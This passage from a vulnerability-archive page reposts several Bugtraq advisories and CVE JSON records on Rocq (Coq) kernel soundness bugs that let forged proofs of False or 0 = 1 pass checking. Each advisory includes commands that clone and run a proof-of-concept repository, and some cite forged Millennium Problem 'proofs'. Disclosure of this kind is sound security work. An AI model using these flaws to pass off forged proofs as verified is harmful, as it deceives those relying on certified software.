query\nmechanism.\n3. Impact\n=========\n- Formally verified compilers (CompCert)\n- Verified OS kernels (CertiKOS)\n- Separation logic frameworks (Iris)\n- Mathematical libraries (MathComp)\n- Proof-carrying code: a malicious .v file in a dependency could\nintroduce unsound declarations that pass both Print Assumptions and\nTest Universe Checking\n- Verified smart contracts (ConCert)\n- Mathematical proof verification: Millennium Problem forgeries\ndemonstrate that arbitrary mathematical claims can be \"certified\"\n4. Publicly Demonstrated\n========================\nMillennium Problem forgeries built using this CVE:\n- Riemann Hypothesis (Lagarias criterion):\nhttps://github.com/endrazine/rocq-cve-poc-22287-rh\n- Navier-Stokes regularity (and its negation):\nhttps://github.com/endrazine/rocq-cve-poc-22287-ns\n- BSD conjecture (rank equality):\nhttps://github.com/endrazine/rocq-cve-poc-22287-bsd\n- Hodge conjecture:\nhttps://github.com/endrazine/rocq-cve-poc-22287-hodge\n- P=NP (by JP Aumasson):\nhttps://github.com/endrazine/rocq-cve-poc-22287-pnp\nAll forgeries are Docker-reproducible and print FORGERY CONFIRMED with\nPrint Assumptions whitelist clean.\n5. Proof of Concept\n===================\nA Docker-reproducible PoC is available:\ngit clone https://github.com/endrazine/rocq-cve-poc-22287\ncd rocq-cve-poc-22287\ndocker build -t rocq-cve-poc-22287 .\ndocker run --rm rocq-cve-poc-22287\nOn Rocq \u22649.2.0, the output confirms the proof of 0 = 1 with no axioms\nand Test Universe Checking reporting \"on\" while the kernel accepts\nuniverse-inconsistent terms.\n6. Root Cause\n=============\nWhen a module executes Local Unset Universe Checking, the global\nenvironment\u0027s flag is correctly scoped and restored on module close.\nHowever, the universe graph maintains its own copy of the flag, and\nmodule close does not synchronise this copy. The graph\u0027s flag remains\ndisabled after the module closes.\n(a) CWE-459: Incomplete Cleanup \u2014 the module close does not clean up\nthe universe graph\u0027s copy of the flag.\n(b) CWE-20: Improper Input Validation \u2014 the kernel accepts universe-\ninconsistent terms based on the stale flag value.\n7. Scoring\n==========\nCVSS 3.1: AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N \u2014 7.1 (High)\nCVSS 4.0: AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N \u2014 6.8\n(Medium)\n8. CWE\n======\nCWE-459: Incomplete Cleanup\nCWE-20: Improper Input Validation\n9. CVE\n======\nCVE-2026-72714 (assigned by VulnCheck as CNA)\n10. Affected Versions\n=====================\nRocq Prover \u2264 9.2.0 (all versions including Coq 8.x that include\nHurkens in the standard library)\nFixed in: UNFIXED as of Rocq 9.2.0.\n11. Mitigation\n==============\n- No patched version is available.\n- Run coqchk on compiled .vo files \u2014 coqchk operates independently of\nthe in-process flag state.\n- Audit dependencies for use of Local Unset Universe Checking inside\nmodules.\n- Do not rely on Test Universe Checking to verify kernel state after\nmodule operations.\n12. References\n==============\nBug report: https://github.com/rocq-prover/rocq/issues/22287\nPoC: https://github.com/endrazine/rocq-cve-poc-22287\nVulnCheck:\nhttps://www.vulncheck.com/advisories/rocq-prover-through-universe-checking-s...\nNVD: https://nvd.nist.gov/vuln/detail/CVE-2026-72714\n13. Timeline\n============\n2026 Bug reported by Ga\u00ebtan Gilbert (rocq-prover/rocq#22287)\n2026 Issue remains open \u2014 no fix merged\n2026-08-24 CVE-2026-72714 published by VulnCheck\n2026-08-24 Docker-reproducible PoC published\n2026-08 Millennium Problem forgeries published\n14. Credit\n==========\nBug discovery: Ga\u00ebtan Gilbert (@SkySkimmer)\nP=NP forgery: JP Aumasson (@veorq)\nPoC packaging: Jonathan Brossard (@endrazine) \u2014 MOABI / PSIRT.com"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-20",
"description": "CWE-20",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-459",
"description": "CWE-459",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:29:47Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/item/804f4ce049d531fd5600156172b2094c5c2eb8969c849a6b941ee502c3c4e9e8"
},
{
"tags": [
"technical-description"
],
"url": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@bugtraq.ai/message/YAAUNKGUH3IC5JJ2IXKETMPGTNEG32QV/"
},
{
"url": "https://github.com/endrazine/rocq-cve-poc-22287"
},
{
"url": "https://github.com/endrazine/rocq-cve-poc-22287-bsd"
},
{
"url": "https://github.com/endrazine/rocq-cve-poc-22287-hodge"
},
{
"url": "https://github.com/endrazine/rocq-cve-poc-22287-ns"
},
{
"url": "https://github.com/endrazine/rocq-cve-poc-22287-pnp"
},
{
"url": "https://github.com/endrazine/rocq-cve-poc-22287-rh"
},
{
"url": "https://github.com/rocq-prover/rocq/issues/22287"
},
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72714"
},
{
"url": "https://www.vulncheck.com/advisories/rocq-prover-through-universe-checking-state-desynchronised-after-module-close"
}
],
"source": {
"defect": [
"459a018a-ef5a-4549-979a-60235c64d264%40gmail.com"
],
"discovery": "EXTERNAL"
},
"title": "[Bugtraq] CVE-2026-72714: Rocq universe checking state desynchronised after module close (0 = 1 demonstrated) \u2014 0-day",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-72714",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0446",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/item/804f4ce049d531fd5600156172b2094c5c2eb8969c849a6b941ee502c3c4e9e8",
"automated": true,
"contentSha256": "804f4ce049d531fd5600156172b2094c5c2eb8969c849a6b941ee502c3c4e9e8",
"evidenceScore": 10,
"messageId": "459a018a-ef5a-4549-979a-60235c64d264%40gmail.com",
"originalUrl": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@bugtraq.ai/message/YAAUNKGUH3IC5JJ2IXKETMPGTNEG32QV/",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-02T07:29:47Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0446"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:29:47Z",
"dateUpdated": "2026-11-02T07:29:47Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0446"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0445
Vulnerability from gna-1988 – Published: 2026-11-02 07:29 – Updated: 2026-11-02 07:29
VLAI
EPSS
VEX
Title
[Bugtraq] CVE-2026-72705: Rocq guard checker accepts fixpoint passed as higher-order argument (0 = 1 demonstrated)
Summary
1. Summary
==========
A soundness bug in the Rocq (formerly Coq) kernel's guard checker allows
construction of a checked proof of False — and by extension, any
proposition, including 0 = 1 — without axioms, tactics, plugins, or
unsafe flags. Print Assumptions reports the proof as closed under the
global context.
The guard checker does not track recursive calls made through a
fixpoint's own arguments. A fixpoint can pass itself to another
fixpoint, which can apply it to a value that is not a structural
subterm. Passing the function to a plain definition is correctly
rejected, but passing it to a fixpoint is accepted. This admits a type
that is definitionally equal to its own negation, and self-application
yields False in purely definitional code.
2. Context
==========
Rocq (formerly Coq) is the reference implementation of the Calculus of
Inductive Constructions and one of the most widely deployed proof
assistants. Its kernel is the trusted core that checks every proof
before acceptance. A soundness bug in the guard checker — the component
that enforces termination of recursive definitions — undermines the
guarantees of any system built on Rocq-checked proofs.
Formally verified systems certified under Common Criteria (ISO 15408) or
DO-178C (airborne software) derive their assurance from the correctness
of the proof checker. A kernel-level bypass invalidates that assurance
chain.
This bug was discovered by Claude Opus 4.6 (Anthropic) during a
fuzzing campaign.
3. Impact
=========
- Formally verified compilers (CompCert)
- Verified OS kernels (CertiKOS)
- Separation logic frameworks (Iris)
- Mathematical libraries (MathComp)
- Proof-carrying code: a malicious .v file in a dependency could
introduce unsound declarations
- Verified smart contracts (ConCert)
4. Proof of Concept
===================
A Docker-reproducible PoC is available:
git clone https://github.com/endrazine/rocq-cve-poc-21683
cd rocq-cve-poc-21683
docker build -t rocq-cve-poc-21683 .
docker run --rm rocq-cve-poc-21683
On a vulnerable version (Rocq <9.2.0, all Coq versions), the output
confirms the proof of False with no axioms. On a patched version
(≥9.2.0), the guard checker rejects the fixpoint.
5. Root Cause
=============
The guard checker does not follow the flow of a fixpoint value when it
is passed as an argument to another fixpoint. The receiving fixpoint can
apply the passed function to an arbitrary value, bypassing the
structural decrease requirement.
This creates a type T that is definitionally equal to T -> False (its
own negation). Self-application of a term of type T yields False,
entirely through definitional reduction — no tactics are involved.
CWE-670: Always-Incorrect Control Flow Implementation.
6. Scoring
==========
CVSS 3.1: AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N — 7.1 (High)
CVSS 4.0: AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N — 6.8
(Medium)
7. CWE
======
CWE-670: Always-Incorrect Control Flow Implementation
8. CVE
======
CVE-2026-72705 (assigned by VulnCheck as CNA)
9. Affected Versions
====================
Rocq Prover <9.2.0 (all versions including Coq 8.x with the guard
checker)
Fixed in: 9.2.0
10. Mitigation
==============
- Upgrade to Rocq 9.2.0 or later.
- Run coqchk on compiled .vo files as defense-in-depth.
11. References
==============
Bug report: https://github.com/rocq-prover/rocq/issues/21683
Fix: https://github.com/rocq-prover/rocq/pull/21684
PoC: https://github.com/endrazine/rocq-cve-poc-21683
VulnCheck:
https://www.vulncheck.com/advisories/rocq-prover-before-guard-checker-accept...
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-72705
12. Timeline
============
2025 Bug found by Claude Opus 4.6 during fuzzing campaign
2025 Bug reported (rocq-prover/rocq#21683)
2025 Fix merged (PR #21684) in Rocq 9.2.0
2026-08-24 CVE-2026-72705 published by VulnCheck
2026-08-24 Docker-reproducible PoC published
13. Credit
==========
Bug discovery: Claude Opus 4.6 (Anthropic), Tristan Stérin
(fuzzing campaign, based on pointers from Yannick Forster)
Kernel fix: PR #21684
PoC packaging: Jonathan Brossard (@endrazine) — MOABI / PSIRT.com
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| rocq-prover | rocq |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0445 (this record)
- related CVE-2026-72705
{
"containers": {
"cna": {
"affected": [
{
"product": "rocq",
"vendor": "rocq-prover",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Jonathan Brossard"
}
],
"descriptions": [
{
"lang": "en",
"value": "1. Summary\n==========\nA soundness bug in the Rocq (formerly Coq) kernel\u0027s guard checker allows\nconstruction of a checked proof of False \u2014 and by extension, any\nproposition, including 0 = 1 \u2014 without axioms, tactics, plugins, or\nunsafe flags. Print Assumptions reports the proof as closed under the\nglobal context.\nThe guard checker does not track recursive calls made through a\nfixpoint\u0027s own arguments. A fixpoint can pass itself to another\nfixpoint, which can apply it to a value that is not a structural\nsubterm. Passing the function to a plain definition is correctly\nrejected, but passing it to a fixpoint is accepted. This admits a type\nthat is definitionally equal to its own negation, and self-application\nyields False in purely definitional code.\n2. Context\n==========\nRocq (formerly Coq) is the reference implementation of the Calculus of\nInductive Constructions and one of the most widely deployed proof\nassistants. Its kernel is the trusted core that checks every proof\nbefore acceptance. A soundness bug in the guard checker \u2014 the component\nthat enforces termination of recursive definitions \u2014 undermines the\nguarantees of any system built on Rocq-checked proofs.\nFormally verified systems certified under Common Criteria (ISO 15408) or\nDO-178C (airborne software) derive their assurance from the correctness\nof the proof checker. A kernel-level bypass invalidates that assurance\nchain.\nThis bug was discovered by Claude Opus 4.6 (Anthropic) during a\nfuzzing campaign.\n3. Impact\n=========\n- Formally verified compilers (CompCert)\n- Verified OS kernels (CertiKOS)\n- Separation logic frameworks (Iris)\n- Mathematical libraries (MathComp)\n- Proof-carrying code: a malicious .v file in a dependency could\nintroduce unsound declarations\n- Verified smart contracts (ConCert)\n4. Proof of Concept\n===================\nA Docker-reproducible PoC is available:\ngit clone https://github.com/endrazine/rocq-cve-poc-21683\ncd rocq-cve-poc-21683\ndocker build -t rocq-cve-poc-21683 .\ndocker run --rm rocq-cve-poc-21683\nOn a vulnerable version (Rocq \u003c9.2.0, all Coq versions), the output\nconfirms the proof of False with no axioms. On a patched version\n(\u22659.2.0), the guard checker rejects the fixpoint.\n5. Root Cause\n=============\nThe guard checker does not follow the flow of a fixpoint value when it\nis passed as an argument to another fixpoint. The receiving fixpoint can\napply the passed function to an arbitrary value, bypassing the\nstructural decrease requirement.\nThis creates a type T that is definitionally equal to T -\u003e False (its\nown negation). Self-application of a term of type T yields False,\nentirely through definitional reduction \u2014 no tactics are involved.\nCWE-670: Always-Incorrect Control Flow Implementation.\n6. Scoring\n==========\nCVSS 3.1: AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N \u2014 7.1 (High)\nCVSS 4.0: AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N \u2014 6.8\n(Medium)\n7. CWE\n======\nCWE-670: Always-Incorrect Control Flow Implementation\n8. CVE\n======\nCVE-2026-72705 (assigned by VulnCheck as CNA)\n9. Affected Versions\n====================\nRocq Prover \u003c9.2.0 (all versions including Coq 8.x with the guard\nchecker)\nFixed in: 9.2.0\n10. Mitigation\n==============\n- Upgrade to Rocq 9.2.0 or later.\n- Run coqchk on compiled .vo files as defense-in-depth.\n11. References\n==============\nBug report: https://github.com/rocq-prover/rocq/issues/21683\nFix: https://github.com/rocq-prover/rocq/pull/21684\nPoC: https://github.com/endrazine/rocq-cve-poc-21683\nVulnCheck:\nhttps://www.vulncheck.com/advisories/rocq-prover-before-guard-checker-accept...\nNVD: https://nvd.nist.gov/vuln/detail/CVE-2026-72705\n12. Timeline\n============\n2025 Bug found by Claude Opus 4.6 during fuzzing campaign\n2025 Bug reported (rocq-prover/rocq#21683)\n2025 Fix merged (PR #21684) in Rocq 9.2.0\n2026-08-24 CVE-2026-72705 published by VulnCheck\n2026-08-24 Docker-reproducible PoC published\n13. Credit\n==========\nBug discovery: Claude Opus 4.6 (Anthropic), Tristan St\u00e9rin\n(fuzzing campaign, based on pointers from Yannick Forster)\nKernel fix: PR #21684\nPoC packaging: Jonathan Brossard (@endrazine) \u2014 MOABI / PSIRT.com"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-670",
"description": "CWE-670",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:29:46Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/item/3980e073a4d3a439116db68b9bd034c52bdfd611a3e14ae68dd1c41364a8bb31"
},
{
"tags": [
"technical-description"
],
"url": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@bugtraq.ai/message/Y4CBS4TQ2JSVXQB5A4Q5LQ44QV47Z76S/"
},
{
"url": "https://github.com/endrazine/rocq-cve-poc-21683"
},
{
"url": "https://github.com/rocq-prover/rocq/issues/21683"
},
{
"url": "https://github.com/rocq-prover/rocq/pull/21684"
},
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72705"
},
{
"url": "https://www.vulncheck.com/advisories/rocq-prover-before-guard-checker-accepts-fixpoint-passed-as-a-higher-order-argument"
}
],
"source": {
"defect": [
"997fa663-d85e-4888-8aff-6a8c17040bf2%40gmail.com"
],
"discovery": "EXTERNAL"
},
"title": "[Bugtraq] CVE-2026-72705: Rocq guard checker accepts fixpoint passed as higher-order argument (0 = 1 demonstrated)",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-72705",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0445",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/item/3980e073a4d3a439116db68b9bd034c52bdfd611a3e14ae68dd1c41364a8bb31",
"automated": true,
"contentSha256": "3980e073a4d3a439116db68b9bd034c52bdfd611a3e14ae68dd1c41364a8bb31",
"evidenceScore": 10,
"messageId": "997fa663-d85e-4888-8aff-6a8c17040bf2%40gmail.com",
"originalUrl": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@bugtraq.ai/message/Y4CBS4TQ2JSVXQB5A4Q5LQ44QV47Z76S/",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-02T07:29:46Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0445"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:29:46Z",
"dateUpdated": "2026-11-02T07:29:46Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0445"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0444
Vulnerability from gna-1988 – Published: 2026-11-02 07:29 – Updated: 2026-11-02 07:29
VLAI
EPSS
VEX
Title
[Bugtraq] CVE-2026-72704: Rocq guard checker trusts corrupted recursive tree after transport (0 = 1 demonstrated) — 0-day
Summary
1. Summary
==========
A soundness bug in the Rocq (formerly Coq) kernel's guard checker allows
construction of a checked proof of False — and by extension, any
proposition, including 0 = 1.
The guard checker does not recheck the recursive tree (rectree) for an
inductive type parameter after a transport (rewrite via eq_rect/rew)
changes that parameter. A fixpoint applies a rewrite along a type
equality to its recursive argument; the checker accepts this because the
inductive type is preserved, but the rectree is corrupted. A second
fixpoint that calls the first inherits the corrupted tree without
verification, so a non-structurally-decreasing call passes as
terminating.
This is a 0-day: no fix has been merged as of Rocq 9.2.0.
2. Context
==========
Rocq (formerly Coq) is the reference implementation of the Calculus of
Inductive Constructions and one of the most widely deployed proof
assistants. Its kernel is the trusted core that checks every proof
before acceptance. A soundness bug in the guard checker — the component
that enforces termination of recursive definitions — undermines the
guarantees of any system built on Rocq-checked proofs.
Formally verified systems certified under Common Criteria (ISO 15408) or
DO-178C (airborne software) derive their assurance from the correctness
of the proof checker. A kernel-level bypass invalidates that assurance
chain.
3. Impact
=========
- Formally verified compilers (CompCert)
- Verified OS kernels (CertiKOS)
- Separation logic frameworks (Iris)
- Mathematical libraries (MathComp)
- Proof-carrying code: a malicious .v file in a dependency could
introduce unsound declarations
- Verified smart contracts (ConCert)
4. Proof of Concept
===================
A Docker-reproducible PoC is available:
git clone https://github.com/endrazine/rocq-cve-poc-22024
cd rocq-cve-poc-22024
docker build -t rocq-cve-poc-22024 .
docker run --rm rocq-cve-poc-22024
The PoC uses two axioms (e : nat = nat, and e1 : rew [fun T => T] e in
0 = 1) that are consequences of univalence and are consistent with the
Calculus of Inductive Constructions. The proof of 0 = 1 exploits the
guard checker flaw, not the axioms.
5. Root Cause
=============
The guard checker accepts a recursive call when the inductive type of
the argument is preserved, but it does not re-derive the rectree after
a transport (eq_rect / rew) changes the type parameter. The corrupted
rectree is inherited by subsequent fixpoints without reverification.
CWE-670: Always-Incorrect Control Flow Implementation.
6. Scoring
==========
CVSS 3.1: AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N — 7.1 (High)
CVSS 4.0: AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N — 6.8
(Medium)
7. CWE
======
CWE-670: Always-Incorrect Control Flow Implementation
8. CVE
======
CVE-2026-72704 (assigned by VulnCheck as CNA)
9. Affected Versions
====================
Rocq Prover ≤ 9.2.0 (all versions including Coq 8.x)
Fixed in: UNFIXED — PR #22027 proposed but not merged.
10. Mitigation
==============
- No patched version is available.
- Run coqchk on compiled .vo files — coqchk may catch the inconsistency.
- Audit dependencies for use of transport (rew / eq_rect) in fixpoint
definitions with nested mutual recursion.
11. References
==============
Bug report: https://github.com/rocq-prover/rocq/issues/22024
Fix (open): https://github.com/rocq-prover/rocq/pull/22027
PoC: https://github.com/endrazine/rocq-cve-poc-22024
VulnCheck:
https://www.vulncheck.com/advisories/rocq-prover-through-guard-checker-trust...
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-72704
12. Timeline
============
2026 Bug reported by Yann Leray (rocq-prover/rocq#22024)
2026 Fix proposed (PR #22027) — not yet merged
2026-08-24 CVE-2026-72704 published by VulnCheck
2026-08-24 Docker-reproducible PoC published
13. Credit
==========
Bug discovery: Yann Leray (@yannl35133)
PoC packaging: Jonathan Brossard (@endrazine) — MOABI / PSIRT.com
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| rocq-prover | rocq |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0444 (this record)
- related CVE-2026-72704
{
"containers": {
"cna": {
"affected": [
{
"product": "rocq",
"vendor": "rocq-prover",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Jonathan Brossard"
}
],
"descriptions": [
{
"lang": "en",
"value": "1. Summary\n==========\nA soundness bug in the Rocq (formerly Coq) kernel\u0027s guard checker allows\nconstruction of a checked proof of False \u2014 and by extension, any\nproposition, including 0 = 1.\nThe guard checker does not recheck the recursive tree (rectree) for an\ninductive type parameter after a transport (rewrite via eq_rect/rew)\nchanges that parameter. A fixpoint applies a rewrite along a type\nequality to its recursive argument; the checker accepts this because the\ninductive type is preserved, but the rectree is corrupted. A second\nfixpoint that calls the first inherits the corrupted tree without\nverification, so a non-structurally-decreasing call passes as\nterminating.\nThis is a 0-day: no fix has been merged as of Rocq 9.2.0.\n2. Context\n==========\nRocq (formerly Coq) is the reference implementation of the Calculus of\nInductive Constructions and one of the most widely deployed proof\nassistants. Its kernel is the trusted core that checks every proof\nbefore acceptance. A soundness bug in the guard checker \u2014 the component\nthat enforces termination of recursive definitions \u2014 undermines the\nguarantees of any system built on Rocq-checked proofs.\nFormally verified systems certified under Common Criteria (ISO 15408) or\nDO-178C (airborne software) derive their assurance from the correctness\nof the proof checker. A kernel-level bypass invalidates that assurance\nchain.\n3. Impact\n=========\n- Formally verified compilers (CompCert)\n- Verified OS kernels (CertiKOS)\n- Separation logic frameworks (Iris)\n- Mathematical libraries (MathComp)\n- Proof-carrying code: a malicious .v file in a dependency could\nintroduce unsound declarations\n- Verified smart contracts (ConCert)\n4. Proof of Concept\n===================\nA Docker-reproducible PoC is available:\ngit clone https://github.com/endrazine/rocq-cve-poc-22024\ncd rocq-cve-poc-22024\ndocker build -t rocq-cve-poc-22024 .\ndocker run --rm rocq-cve-poc-22024\nThe PoC uses two axioms (e : nat = nat, and e1 : rew [fun T =\u003e T] e in\n0 = 1) that are consequences of univalence and are consistent with the\nCalculus of Inductive Constructions. The proof of 0 = 1 exploits the\nguard checker flaw, not the axioms.\n5. Root Cause\n=============\nThe guard checker accepts a recursive call when the inductive type of\nthe argument is preserved, but it does not re-derive the rectree after\na transport (eq_rect / rew) changes the type parameter. The corrupted\nrectree is inherited by subsequent fixpoints without reverification.\nCWE-670: Always-Incorrect Control Flow Implementation.\n6. Scoring\n==========\nCVSS 3.1: AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N \u2014 7.1 (High)\nCVSS 4.0: AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N \u2014 6.8\n(Medium)\n7. CWE\n======\nCWE-670: Always-Incorrect Control Flow Implementation\n8. CVE\n======\nCVE-2026-72704 (assigned by VulnCheck as CNA)\n9. Affected Versions\n====================\nRocq Prover \u2264 9.2.0 (all versions including Coq 8.x)\nFixed in: UNFIXED \u2014 PR #22027 proposed but not merged.\n10. Mitigation\n==============\n- No patched version is available.\n- Run coqchk on compiled .vo files \u2014 coqchk may catch the inconsistency.\n- Audit dependencies for use of transport (rew / eq_rect) in fixpoint\ndefinitions with nested mutual recursion.\n11. References\n==============\nBug report: https://github.com/rocq-prover/rocq/issues/22024\nFix (open): https://github.com/rocq-prover/rocq/pull/22027\nPoC: https://github.com/endrazine/rocq-cve-poc-22024\nVulnCheck:\nhttps://www.vulncheck.com/advisories/rocq-prover-through-guard-checker-trust...\nNVD: https://nvd.nist.gov/vuln/detail/CVE-2026-72704\n12. Timeline\n============\n2026 Bug reported by Yann Leray (rocq-prover/rocq#22024)\n2026 Fix proposed (PR #22027) \u2014 not yet merged\n2026-08-24 CVE-2026-72704 published by VulnCheck\n2026-08-24 Docker-reproducible PoC published\n13. Credit\n==========\nBug discovery: Yann Leray (@yannl35133)\nPoC packaging: Jonathan Brossard (@endrazine) \u2014 MOABI / PSIRT.com"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-670",
"description": "CWE-670",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:29:46Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/item/e1397407374b71428bf52966f1f06cf0a80f119990f1679b1418008ce2e9dc72"
},
{
"tags": [
"technical-description"
],
"url": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@bugtraq.ai/message/45SER5JXY2UO6A5CLBPEOWTV3K46KLTX/"
},
{
"url": "https://github.com/endrazine/rocq-cve-poc-22024"
},
{
"url": "https://github.com/rocq-prover/rocq/issues/22024"
},
{
"url": "https://github.com/rocq-prover/rocq/pull/22027"
},
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72704"
},
{
"url": "https://www.vulncheck.com/advisories/rocq-prover-through-guard-checker-trusts-corrupted-recursive-tree-after-transport"
}
],
"source": {
"defect": [
"74d8252f-d31e-4f51-9c22-11e05eef02a3%40gmail.com"
],
"discovery": "EXTERNAL"
},
"title": "[Bugtraq] CVE-2026-72704: Rocq guard checker trusts corrupted recursive tree after transport (0 = 1 demonstrated) \u2014 0-day",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-72704",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0444",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/item/e1397407374b71428bf52966f1f06cf0a80f119990f1679b1418008ce2e9dc72",
"automated": true,
"contentSha256": "e1397407374b71428bf52966f1f06cf0a80f119990f1679b1418008ce2e9dc72",
"evidenceScore": 10,
"messageId": "74d8252f-d31e-4f51-9c22-11e05eef02a3%40gmail.com",
"originalUrl": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@bugtraq.ai/message/45SER5JXY2UO6A5CLBPEOWTV3K46KLTX/",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-02T07:29:46Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0444"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:29:46Z",
"dateUpdated": "2026-11-02T07:29:46Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0444"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0443
Vulnerability from gna-1988 – Published: 2026-11-02 07:29 – Updated: 2026-11-02 07:29
VLAI
EPSS
VEX
Title
[Bugtraq] CVE-2026-72703: Rocq guard checker accepts non-terminating fixpoint via unchecked cross-calls (0 = 1 demonstrated)
Summary
1. Summary
==========
A soundness bug in the Rocq (formerly Coq) kernel's guard checker allows
construction of a checked proof of False — and by extension, any
proposition, including 0 = 1 — without axioms, tactics, plugins, or
unsafe flags. Print Assumptions reports the proof as closed under the
global context.
The guard checker treats all parameters of a nested mutual fixpoint as
uniform without examining cross-calls between the fixpoint's bodies.
A parameter that grows through a cross-call retains an incorrect subterm
specification, and a recursive call on a non-structurally-decreasing
argument is accepted. This admits a non-terminating definition from
which False follows.
2. Context
==========
Rocq (formerly Coq) is the reference implementation of the Calculus of
Inductive Constructions and one of the most widely deployed proof
assistants. Its kernel is the trusted core that checks every proof
before acceptance. A soundness bug in the guard checker — the component
that enforces termination of recursive definitions — undermines the
guarantees of any system built on Rocq-checked proofs.
Formally verified systems certified under Common Criteria (ISO 15408) or
DO-178C (airborne software) derive their assurance from the correctness
of the proof checker. A kernel-level bypass invalidates that assurance
chain.
3. Impact
=========
- Formally verified compilers (CompCert)
- Verified OS kernels (CertiKOS)
- Separation logic frameworks (Iris)
- Mathematical libraries (MathComp)
- Proof-carrying code: a malicious .v file in a dependency could
introduce unsound declarations
- Verified smart contracts (ConCert)
4. Proof of Concept
===================
A Docker-reproducible PoC is available:
git clone https://github.com/endrazine/rocq-cve-poc-21682
cd rocq-cve-poc-21682
docker build -t rocq-cve-poc-21682 .
docker run --rm rocq-cve-poc-21682
On a vulnerable version (Rocq 8.20 – <9.2.0), the output confirms the
proof of 0 = 1 with no axioms. On a patched version (≥9.2.0), the guard
checker rejects the fixpoint.
5. Root Cause
=============
find_uniform_parameters in kernel/inductive.ml only inspects
self-recursive calls within each body of a mutual fixpoint. When no body
contains a self-recursive call (all calls are cross-calls), every
parameter is marked as uniform. A parameter that varies across
cross-calls retains an incorrect subterm specification, allowing the
